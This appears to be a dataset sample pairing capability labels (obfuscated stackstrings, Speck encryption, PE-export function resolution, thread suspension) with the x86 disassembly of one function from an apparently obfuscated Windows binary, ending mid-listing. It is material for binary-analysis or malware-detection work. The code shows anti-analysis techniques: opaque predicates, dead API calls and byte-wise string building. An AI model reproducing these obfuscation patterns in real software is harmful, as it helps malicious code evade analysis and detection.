Function at 0x100167d9
Capabilities:
Accept command line arguments
Connect pipe
Contain obfuscated stackstrings
Encrypt data using speck
Get disk size
Parse pe header
Query or enumerate registry key
Resolve function by parsing pe exports
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006ca60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xd8c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x10016979
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10016979
mov dword [ebp - 0x114], 0xbf5cd53b
mov dword [ebp - 0x2d0], 0xffffffff
mov dword [ebp - 0x784], 0x31fadacd
mov dword [ebp - 0x818], 0x5acee617
mov dword [ebp - 0x2c0], 0
jmp 0x10016855
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 2
jge 0x10016871
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0xcac], 0x9e88
jmp 0x10016848
mov byte [ebp - 0xff], 0
movzx eax, byte [ebp - 0xff]
test eax, eax
je 0x10016899
push 0
push 0
push 0x2ad
push 0x117d
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
cmp dword [ebp - 0x114], 0
jne 0x100168f3
cmp dword [ebp - 0x114], 0x6f44
je 0x100168ba
mov dword [ebp - 0x590], 1
jmp 0x100168c1
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x590]
cmp dword [ebp - 0x2d0], eax
jl 0x100168f3
mov eax, 0x1d1b9849
test eax, eax
jne 0x100168f3
and dword [ebp - 0x754], 0
jmp 0x100168fd
mov dword [ebp - 0x754], 1
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x754]
jne 0x1001691d
cmp dword [ebp - 0x2d0], 0
jne 0x1001691d
and dword [ebp - 0x75c], 0
jmp 0x10016927
mov dword [ebp - 0x75c], 1
mov eax, dword [ebp - 0x75c]
sub eax, dword [ebp - 0x784]
mov ecx, dword [ebp - 0x114]
neg ecx
cmp ecx, eax
je 0x1001694b
mov dword [ebp - 0x764], 1
jmp 0x10016952
and dword [ebp - 0x764], 0
imul eax, dword [ebp - 0x764], 0xfffffffd
add eax, dword [ebp - 0x784]
mov dword [ebp - 0x818], eax
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.100111fe
pop ecx
pop ecx
jmp 0x1001cbf3
mov dword [ebp - 0x250], 0xfffffff6
mov dword [ebp - 0x2cc], 0
jmp 0x1001699c
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 1
jge 0x100169b8
mov eax, dword [ebp - 0x2cc]
mov dword [ebp + eax*4 - 0xc04], 0x4ec2
jmp 0x1001698f
mov dword [ebp - 0x250], 0
jmp 0x100169d1
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jg 0x100169fa
mov byte [ebp - 0x10b], 0
movzx eax, byte [ebp - 0x10b]
test eax, eax
je 0x100169f8
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
jmp 0x100169c4
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x10016a19
push 0
push 0x25d5
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x160], 3
mov dword [ebp - 0x8c0], 0xd635290c
mov dword [ebp - 0xb1c], 0xfffffffd
mov dword [ebp - 0x70], 0
jmp 0x10016a47
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x10016a5d
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x834], 0xffffffff
jmp 0x10016a40
mov dword [ebp - 0x70], 0
jmp 0x10016a6d
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x10016a83
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x2c8], 0x90fc520e
jmp 0x10016a66
mov dword [ebp - 0x160], 0
jmp 0x10016a9c
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xffffffe2
jg 0x10016c36
mov dword [ebp - 0x90], 0xffffffff
mov dword [ebp - 0x90], 1
jmp 0x10016acc
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jl 0x10016b14
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x10016af4
push 0
push 0x11cd
call dword [sym.imp.GDI32.dll_SetLayout]
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x10016b12
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
jmp 0x10016abf
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x834], 0
jne 0x10016b30
mov dword [ebp - 0x820], 1
jmp 0x10016b37
and dword [ebp - 0x820], 0
cmp dword [ebp - 0x90], 0
je 0x10016b5e
cmp dword [ebp - 0x90], 0
jne 0x10016b52
cmp dword [ebp - 0x160], 0
je 0x10016b5e
mov dword [ebp - 0x31c], 1
jmp 0x10016b65
and dword [ebp - 0x31c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x31c]
mov dword [ebp + eax - 0x2c8], ecx
cmp dword [ebp - 0x31c], 0
jne 0x10016b93
cmp dword [ebp - 0x90], 0
jne 0x10016b93
and dword [ebp - 0x770], 0
jmp 0x10016b9d
mov dword [ebp - 0x770], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x834]
cmp eax, dword [ebp - 0x770]
jl 0x10016bce
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c8], 0
je 0x10016bce
mov dword [ebp - 0x828], 1
jmp 0x10016bd5
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xbec], eax
cmp dword [ebp - 0x90], 3
jbe 0x10016bf6
mov dword [ebp - 0x76c], 1
jmp 0x10016bfd
and dword [ebp - 0x76c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x834]
cmp eax, dword [ebp - 0x76c]
jg 0x10016c1e
mov dword [ebp - 0x6b8], 1
jmp 0x10016c25
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x8c0], eax
jmp 0x10016a8f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c8]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2c8], eax
cmp dword [ebp + 0x10], 0
jne 0x10019ab0
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000a2e8
mov dword [ebp - 0x1dc], eax
or dword [ebp - 0x9ec], 0xffffffff
or dword [ebp - 0x9e8], 0xffffffff
or dword [ebp - 0x9e4], 0xffffffff
or dword [ebp - 0x9e0], 0xffffffff
lea ecx, [ebp - 0x311]
call fcn.1001e989
push eax
lea eax, [ebp - 0x9dc]
push eax
lea eax, [ebp - 0x9ec]
push eax
lea ecx, [ebp - 0xcec]
call fcn.1001ea6f
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x910]
call fcn.1001e938
and dword [ebp - 4], 0
push 2
lea ecx, [ebp - 0x790]
call fcn.1001e8dc
mov byte [ebp - 4], 1
mov dword [ebp - 0x8d0], 5
mov dword [ebp - 0x78], 0
jmp 0x10016ceb
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x10016d07
push dword [ebp - 0x78]
lea ecx, [ebp - 0x790]
call fcn.1001e97a
mov dword [eax], 0xe5ccc90a
jmp 0x10016ce4
mov dword [ebp - 0x78], 0
jmp 0x10016d17
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x10016d2d
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x8d8], 2
jmp 0x10016d10
push 1
lea ecx, [ebp - 0x790]
call fcn.1001e97a
mov dword [eax], 3
jmp 0x10016d66
push 1
lea ecx, [ebp - 0x790]
call fcn.1001e97a
mov dword [ebp - 0x6b4], eax
mov eax, dword [ebp - 0x6b4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6b4]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x790]
call fcn.1001e97a
cmp dword [eax], 0
jl 0x10016ee1
mov dword [ebp - 0x1d8], 0x26c12a7b
mov dword [ebp - 0x6bc], 0xfffffff9
push 1
lea ecx, [ebp - 0x790]
call fcn.1001e97a
push dword [eax]
lea ecx, [ebp - 0x910]
call fcn.1001e97a
cmp dword [eax], 0
je 0x10016db4
jmp 0x10016ee1
mov dword [ebp - 0x1d8], 0xac7a8cf1
cmp dword [ebp - 0x1d8], 1
jg 0x10016dd3
mov dword [ebp - 0x8c8], 1
jmp 0x10016dda
and dword [ebp - 0x8c8], 0
push 3
lea ecx, [ebp - 0x910]
call fcn.1001e97a
cmp dword [ebp - 0x1d8], 0x87a9
je 0x10016dff
mov dword [ebp - 0x37c], 1
jmp 0x10016e06
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x6bc], eax
mov esi, dword [ebp - 0x6bc]
push 3
lea ecx, [ebp - 0x910]
call fcn.1001e97a
imul esi, dword [eax]
test esi, esi
je 0x10016e41
cmp dword [ebp - 0x1d8], 0
je 0x10016e41
mov dword [ebp - 0x384], 1
jmp 0x10016e48
and dword [ebp - 0x384], 0
imul eax, dword [ebp - 0x384], 0xcae7
cmp eax, 0x60f7
je 0x10016e65
mov dword [ebp - 0x6c4], 1
jmp 0x10016e6c
and dword [ebp - 0x6c4], 0
imul eax, dword [ebp - 0x6c4], 0x1993
cmp eax, dword [ebp - 0x8d0]
jge 0x10016e8a
mov dword [ebp - 0x38c], 1
jmp 0x10016e91
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 0
jbe 0x10016ea6
mov dword [ebp - 0x6cc], 1
jmp 0x10016ead
and dword [ebp - 0x6cc], 0
push 1
lea ecx, [ebp - 0x790]
call fcn.1001e97a
push dword [eax]
lea ecx, [ebp - 0x910]
call fcn.1001e97a
mov eax, dword [eax]
add eax, dword [ebp - 0x6cc]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x8d8], eax
jmp 0x10016d42
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x790]
call fcn.1001e95e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x910]
call fcn.1001e95e
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x1e0], 1
mov dword [ebp - 0x188], 0xffffffff
mov dword [ebp - 0x24c], 0
jmp 0x10016f33
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 1
jge 0x10016f4c
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x48], 0xfffffff7
jmp 0x10016f26
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x40], 0
jmp 0x10016f69
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x10017193
mov dword [ebp - 0x8e8], 0xffffffff
mov dword [ebp - 0x338], 0xf4442628
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x48], 0
jne 0x10016f99
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x48], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xb24], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp eax, dword [ebp - 0x1e0]
jl 0x10016fc0
mov dword [ebp - 0x394], 1
jmp 0x10016fc7
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp + ecx*4 - 0x48]
imul ecx, dword [ebp - 0x394]
cmp ecx, dword [ebp + eax*4 - 0x48]
jg 0x10016fea
mov dword [ebp - 0x6d4], 1
jmp 0x10016ff1
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x48]
cmp eax, dword [ebp - 0x6d4]
je 0x1001700c
mov dword [ebp - 0x8e0], 1
jmp 0x10017013
and dword [ebp - 0x8e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
mov dword [ebp - 0xc60], eax
cmp dword [ebp - 0x1e0], 0xffffffff
jl 0x10017038
mov dword [ebp - 0x39c], 1
jmp 0x1001703f
and dword [ebp - 0x39c], 0
cmp dword [ebp - 0x39c], 0
jne 0x10017054
mov dword [ebp - 0x6dc], 1
jmp 0x1001705b
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
neg eax
cmp eax, dword [ebp - 0x188]
jge 0x10017077
mov dword [ebp - 0x3a4], 1
jmp 0x1001707e
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x48]
cmp dword [ebp - 0x3a4], eax
jl 0x10017099
mov dword [ebp - 0x6e4], 1
jmp 0x100170a0
and dword [ebp - 0x6e4], 0
imul eax, dword [ebp - 0x6e4], 0
test eax, eax
jne 0x100170ca
cmp dword [ebp - 0x8e8], 0
jne 0x100170ca
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0
jne 0x100170ca
and dword [ebp - 0x3ac], 0
jmp 0x100170d4
mov dword [ebp - 0x3ac], 1
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
je 0x1001711b
mov dword [ebp - 0x188], 0
jmp 0x10017102
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jg 0x10017119
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x48], 0
je 0x10017117
jmp 0x10017119
jmp 0x100170f5
jmp 0x1001718e
push 1
lea ecx, [ebp - 0x9f8]
call fcn.1001e8dc
mov dword [ebp - 4], 2
mov dword [ebp - 0x254], 0
jmp 0x10017148
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x1001716a
push dword [ebp - 0x254]
lea ecx, [ebp - 0x9f8]
call fcn.1001e97a
mov dword [eax], 0x61718bc6
jmp 0x1001713b
push 0
lea ecx, [ebp - 0x9f8]
call fcn.1001e97a
mov eax, dword [eax]
mov dword [ebp - 0x338], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9f8]
call fcn.1001e95e
jmp 0x10016f62
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0x6ec], 0xffff
mov dword [ebp - 0x1e8], 0
jmp 0x100171ca
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 1
jge 0x100171e6
mov eax, dword [ebp - 0x1e8]
mov dword [ebp + eax*4 - 0x8f0], 1
jmp 0x100171bd
mov dword [ebp - 0x25c], 0
jmp 0x100171ff
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x100172c4
mov dword [ebp - 0xb2c], 0x99244325
mov dword [ebp - 0xb48], 0xedcad208
mov dword [ebp - 0xb34], 0xbfc4f27d
mov dword [ebp - 0xb4c], 0x95031536
mov dword [ebp - 0xb50], 0x35ca4204
mov dword [ebp - 0xc00], 0x6b3b
mov dword [ebp - 0xb5c], 0x9561
mov dword [ebp - 0xc08], 0xc5604491
mov dword [ebp - 0xb64], 1
mov dword [ebp - 0x54], 0
jmp 0x10017276
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x1001728c
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0xcf4], 1
jmp 0x1001726f
mov dword [ebp - 0x54], 0
jmp 0x1001729c
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x100172b2
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0xd8c], 0x9dbc9b78
jmp 0x10017295
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
jmp 0x100171f2
mov dword [ebp - 0x15c], 0
jmp 0x100172dd
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x100172f9
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x8f0], 0x6ed55c5
jmp 0x100172d0
cmp dword [0x1061654c], 0
jne 0x1001990c
mov dword [ebp - 0xa4], 0xfffffffa
push 2
lea ecx, [ebp - 0xb88]
call fcn.1001e8dc
mov dword [ebp - 4], 3
mov dword [ebp - 0xc34], 6
mov dword [ebp - 0x1f0], 0
jmp 0x10017347
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 2
jge 0x10017369
push dword [ebp - 0x1f0]
lea ecx, [ebp - 0xb88]
call fcn.1001e97a
mov dword [eax], 1
jmp 0x1001733a
mov dword [ebp - 0xa4], 0xfffffff6
jmp 0x10017382
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xfffffff4
jge 0x100173a7
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x100173a5
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x10017375
mov dword [ebp - 0xa4], 1
jmp 0x100173c0
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jl 0x100173e3
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x100173e1
call dword [sym.imp.USER32.dll_DestroyCaret]
jmp 0x100173b3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb88]
call fcn.1001e95e
mov dword [ebp - 0x8f8], 0x6d78
lea eax, [ebp - 0x8f8]
push eax
call fcn.100111d6
pop ecx
mov dword [ebp - 0x530], eax
push 4
lea ecx, [ebp - 0xb98]
call fcn.1001e8dc
mov dword [ebp - 4], 4
mov dword [ebp - 0xb6c], 0
mov dword [ebp - 0x3b4], 0x888999d9
mov dword [ebp - 0xc0c], 5
mov dword [ebp - 0x9c], 0
jmp 0x1001745a
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x10017476
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xd0c], 0
jmp 0x1001744d
mov dword [ebp - 0x9c], 0
jmp 0x1001748f
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 4
jge 0x100174b1
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xb98]
call fcn.1001e97a
mov dword [eax], 0x87df2f4a
jmp 0x10017482
mov eax, dword [ebp - 0x3b4]
dec eax
mov dword [ebp - 0x3b4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb98]
call fcn.1001e95e
mov dword [ebp - 0x11c], 1
mov dword [ebp - 0x11c], 0
jmp 0x100174f0
mov eax, dword [ebp - 0x11c]
dec eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffe6
je 0x1001775b
mov dword [ebp - 0x168], 0xeede0b40
mov dword [ebp - 0x900], 0xffffffff
mov dword [ebp - 0x980], 8
mov dword [ebp - 0x3c4], 0xd6c5051d
mov dword [ebp - 0x998], 0xffffffff
mov dword [ebp - 0x168], 0x1a
jmp 0x10017548
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xffffffef
jl 0x10017756
mov dword [ebp - 0x150], 0x3c891c55
mov dword [ebp - 0x150], 0xe
jmp 0x10017578
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x15
jg 0x10017751
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x178], 0x1d
jmp 0x100175a8
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xfffffffa
jg 0x1001772f
mov dword [ebp - 0xcc], 0xe32cf41
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0xcc], 0
jmp 0x100175e2
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffe7
je 0x100176fb
mov dword [ebp - 0x704], 0x4c821046
cmp dword [ebp - 0x704], 0
jne 0x10017614
cmp dword [ebp - 0xcc], 0
jne 0x10017614
and dword [ebp - 0x6f4], 0
jmp 0x1001761e
mov dword [ebp - 0x6f4], 1
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x178]
cmp eax, dword [ebp - 0x150]
jg 0x10017644
mov dword [ebp - 0x3bc], 1
jmp 0x1001764b
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0xcc], 0x39e6
jl 0x1001766f
mov dword [ebp - 0x6fc], 1
jmp 0x10017676
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0xb74], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xc4c], eax
mov eax, dword [ebp - 0x168]
add eax, 3
imul eax, eax, 0xc1e0
cmp eax, dword [ebp - 0x150]
je 0x100176bd
mov dword [ebp - 0x988], 1
jmp 0x100176c4
and dword [ebp - 0x988], 0
cmp dword [ebp - 0xcc], 0xffffffff
jg 0x100176d9
mov dword [ebp - 0x990], 1
jmp 0x100176e0
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x998], eax
mov dword [ebp - 0x154], 0xfffffff7
jmp 0x100175d5
mov dword [ebp - 0x154], 0
jmp 0x10017714
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffe9
jl 0x1001772a
cmp dword [ebp - 0x11c], 0
je 0x10017728
jmp 0x1001772a
jmp 0x10017707
jmp 0x1001759b
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x1001774c
push 0x1840
call dword [sym.imp.USER32.dll_GetSystemMetrics]
jmp 0x1001756b
jmp 0x1001753b
jmp 0x100174e3
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0xb7c], 6
push 3
lea ecx, [ebp - 0xa04]
call fcn.1001e8dc
mov dword [ebp - 4], 5
mov dword [ebp - 0xc14], 0xfffffffc
mov dword [ebp - 0x96c], 0xffffffff
mov dword [ebp - 0xb8c], 0xa972737a
mov dword [ebp - 0x3cc], 0xd0d7276c
mov dword [ebp - 0x264], 0
jmp 0x100177c4
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 3
jge 0x100177e3
push dword [ebp - 0x264]
lea ecx, [ebp - 0xa04]
call fcn.1001e97a
and dword [eax], 0
jmp 0x100177b7
mov eax, dword [ebp - 0x3cc]
dec eax
mov dword [ebp - 0x3cc], eax
mov esi, dword [ebp - 0x9a0]
push 2
lea ecx, [ebp - 0xa04]
call fcn.1001e97a
mov ecx, 0x122d800f
sub ecx, dword [eax]
cmp ecx, esi
jle 0x1001781a
mov dword [ebp - 0x70c], 1
jmp 0x10017821
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x96c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa04]
call fcn.1001e95e
mov byte [ebp - 0x1c8], 0xc
mov byte [ebp - 0x1c7], 0xf9
mov byte [ebp - 0x1c6], 3
mov byte [ebp - 0x1c5], 1
mov byte [ebp - 0x1c4], 5
mov byte [ebp - 0x1c3], 0x24
mov byte [ebp - 0x1c2], 0
mov byte [ebp - 0x1c1], 0x35
mov byte [ebp - 0x1c0], 9
mov byte [ebp - 0x1bf], 0x29
mov byte [ebp - 0x1be], 4
mov byte [ebp - 0x1bd], 0xb
mov byte [ebp - 0x1bc], 1
mov byte [ebp - 0x1bb], 0
mov byte [ebp - 0x1ba], 0xb
mov byte [ebp - 0x1b9], 0x1d
mov byte [ebp - 0x1b8], 6
mov byte [ebp - 0x1b7], 0xb
mov byte [ebp - 0x1b6], 8
mov byte [ebp - 0x1b5], 0x1c
mov byte [ebp - 0x1b4], 2
mov byte [ebp - 0x1b3], 0x1b
mov byte [ebp - 0x1b2], 0xa
mov byte [ebp - 0x1b1], 0x31
mov byte [ebp - 0x1b0], 7
mov byte [ebp - 0x1af], 0x2c
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x3d4], 1
mov dword [ebp - 0x2d8], 0x66e9
mov dword [ebp - 0x1f8], 0xcb6a7f4e
mov dword [ebp - 0x310], 0xe9f9034e
mov dword [ebp - 0x5d8], 0xc88
mov dword [ebp - 0x878], 0xef21ddbc
push 3
lea ecx, [ebp - 0x9ac]
call fcn.1001e8dc
mov dword [ebp - 4], 6
mov dword [ebp - 0x768], 0xc253d5ab
mov dword [ebp - 0x81c], 0
mov dword [ebp - 0x58], 0
jmp 0x10017970
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x10017986
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x728], 0x6d64bda9
jmp 0x10017969
mov dword [ebp - 0x58], 0
jmp 0x10017996
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x100179af
push dword [ebp - 0x58]
lea ecx, [ebp - 0x9ac]
call fcn.1001e97a
or dword [eax], 0xffffffff
jmp 0x1001798f
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xc3c], eax
cmp dword [ebp - 0x144], 0
jne 0x10017a12
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xac8], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xad0], eax
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0xad8], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0xae8], eax
cmp dword [ebp - 0x3d4], 0
jne 0x10017a12
and dword [ebp - 0x714], 0
jmp 0x10017a1c
mov dword [ebp - 0x714], 1
cmp dword [ebp - 0x714], 0x82730b3b
jg 0x10017a34
mov dword [ebp - 0x71c], 1
jmp 0x10017a3b
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x2d8]
add eax, dword [ebp - 0x71c]
neg eax
je 0x10017a60
cmp dword [ebp - 0x1f8], 0
je 0x10017a60
mov dword [ebp - 0x3e0], 1
jmp 0x10017a67
and dword [ebp - 0x3e0], 0
cmp dword [ebp - 0x3e0], 0xf5f4
jge 0x10017a7a
cmp dword [ebp - 0x1f8], 0
mov eax, dword [ebp - 0x144]
imul eax, dword [ebp - 0x2d8]
cmp eax, 0xfffffff9
je 0x10017a9e
cmp dword [ebp - 0x1f8], 0
jne 0x10017a9e
and dword [ebp - 0x5c8], 0
jmp 0x10017aa8
mov dword [ebp - 0x5c8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x728]
add eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x310], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x728]
mov dword [ebp - 0xaf0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x728], 0
jne 0x10017aed
cmp dword [ebp - 0x5d8], 0
je 0x10017b02
cmp dword [ebp - 0x1f8], 0
je 0x10017b02
mov dword [ebp - 0x978], 1
jmp 0x10017b09
and dword [ebp - 0x978], 0
imul eax, dword [ebp - 0x878], 0x7d3d
cmp eax, 0xffff
jbe 0x10017b26
mov dword [ebp - 0x3e8], 1
jmp 0x10017b2d
and dword [ebp - 0x3e8], 0
cmp dword [ebp - 0x3e8], 1
jge 0x10017b42
mov dword [ebp - 0x738], 1
jmp 0x10017b49
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x310], eax
mov eax, dword [ebp - 0x310]
add eax, 0x7a4860c0
jne 0x10017b6e
mov dword [ebp - 0x3f0], 1
jmp 0x10017b75
and dword [ebp - 0x3f0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x728]
cmp dword [ebp - 0x3f0], eax
jg 0x10017b96
mov dword [ebp - 0x5d0], 1
jmp 0x10017b9d
and dword [ebp - 0x5d0], 0
push 4
pop eax
shl eax, 0
